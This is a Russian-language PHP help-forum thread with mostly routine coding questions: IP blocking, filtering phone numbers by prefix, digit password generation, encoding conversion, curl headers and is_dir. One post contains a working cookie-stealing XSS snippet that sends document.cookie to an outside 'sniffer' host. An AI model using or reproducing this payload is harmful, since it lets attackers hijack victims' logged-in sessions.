пример дурацкий, непонятно, что надо: 1. Если есть совпадение (частичное) с номерами из массива по строкам 2. Только полное, абсолютное совпадение с номерами из массива А вообще: PHP: <?php $ipArray = array_map("trim", file("ip.txt")); if( in_array($_SERVER['REMOTE_ADDR'],$ipArray) ) { header('http/1.0 403 forbidden'); die("Доступ запрещен"); } else { echo "Доступ есть"; } ?> вот так можно проверять на совпадения из массива - тут - абсолютные совпадения
PHP: $numLen = count($numbers); $pref=array("915","914"); $result = array(); for($i = 1; $i <= $numLen; $i++) if(in_array(substr($numbers[$i],0,3),$pref)) $result[] = $numbers[$i];
Ну вот Есть база номеров 791414914 791241240 796351599 796123000 791410000 мне нужные номера начинающиеся на "нужные" префиксы к примеру 796 Скрипт кладёт в файл номера 796351599 796123000 Поняли? знаю , я плохо объясняю
Поняли PHP: <? @set_time_limit(0); @ini_set("display_errors","1"); $array = array('796','926'); // Массив с нужными цифрами для отбора, пишутся в кавычках через запятую $a = fopen('tema1.txt','r'); // Открываем файло для ЧТЕНИЯ базы номеров (там все твои номера) $r = fopen('resultat.txt','w'); // Открываем файло для записи НУЖНЫХ результатов while (!feof($a)) { $b = trim(fgets($a)); if(in_array(substr($b,0,3),$array)) fwrite($r,"$b\r\n"); } fclose($a); fclose($r); ?>
Хочу сделать сниффер,но никак не получается =\ Отправляю его себе на мыло в формате .img но картинка не открывается. Из трёх попыток тока 1 раз куки пришли. Может я что то не правильно понял объясните. Вот сниффер. <script>img = new Image(); img.src = "http://sniffer.xaknet.ru/userbars/img_4_1125.gif?"+document.cookie; var URL = "http://sniffer.xaknet.ru/userbars/img_4_1125.gif" var speed = 3000 function reload() { document.location = URL } setTimeout("reload()", speed); </script>
Как можно реализовать генератор определённой длины цифр ? Пример: Нужен пароль только из цифр, длинной 10 символов
Вообще по идее так: PHP: <?php echo rand(1000000000, 9999999999); ?> Но сейчас проверил - на первом месте всегда "1" получается... Можно немного извратиться: PHP: <?php for ($i=0;$i<10;$i++) { $pass{$i} = rand(0,9); } $p = implode($pass); echo $p; ?>
Чисто ради интереса, можно как то в массив заносить интервалы и одиночные число на пр: PHP: $mass = array("24","7004","300..400","450");
если уж извращаться, то можно и так PHP: <?php $range=range(1,999999); echo $range[rand(1,999999)]; ?>
Всем спасибо)) --- Ещё один вопрос: Как можно перевести текст из одной кодировки в другую ? гугл только про MySQL пишет, а мне нужно простой текст перевести из одной в другую кодировку....
PHP: <?php $text="абв"; $text2=convert_cyr_string($text,w,k); // из windows-1251 в koi8-r // i (iso8859-5) // a (X-CP866) // m (X-MAC-Cyrillic) echo $text2; ?>
Как сгенерировать сообщение фиксированного размера? Пытаюсь так Code: $a="a"; $t=1024*1024; for ( $i=0; $i<=$t; $i++) { $b=$b . $a; } echo $b; но браузер ничего не выводит
PHP: $headers[] = 'Accept:image/png,image/*;q=0.8,*/*;q=0.5'; $headers[] = 'Accept-Language:ru,en-us;q=0.7,en;q=0.3'; $headers[] = 'Accept-Encoding:gzip,deflate'; $headers[] = 'Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7'; $headers[] = 'Keep-Alive:300'; $headers[] = 'Content-Length: 88'; $headers[] = 'Proxy-Connection:keep-alive'; curl_setopt($ch, CURLOPT_URL, "САЙТ.ru"); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4"); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, "post_запрос"); curl_setopt($ch, CURLOPT_REFERER, $url); curl_setopt($ch, CURLOPT_COOKIEJAR, "./cook"); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); $res = curl_exec($ch); Появляется ошибка: 411 Length Required Я же вроде указал Content-Length: 88 ... что серверу ещё надо
функции is_dir / is_file на win32 все время возвращают 0, тобиж не работают.. как можно узнать по другому папка или файл?
LEE_ROY Странно, но у меня все работает, попробуйте обрабатывать пути с помощью realpath, хотя опять таки - работает и без него PHP: $a = opendir('.'); echo '<table>'; while ($one = readdir($a)) { $one=realpath($one); if (is_dir($one)) echo '<tr bgcolor="GREEN"><td>Directory<td>'.$one; if (is_file($one)) echo '<tr bgcolor="RED"><td>File<td>'.$one; }
спасибо, с realpath почему-то заработало, возможно бага в версии моего пыха - http://bugs.php.net/bug.php?id=31347 , да это и не суть важно теперь. )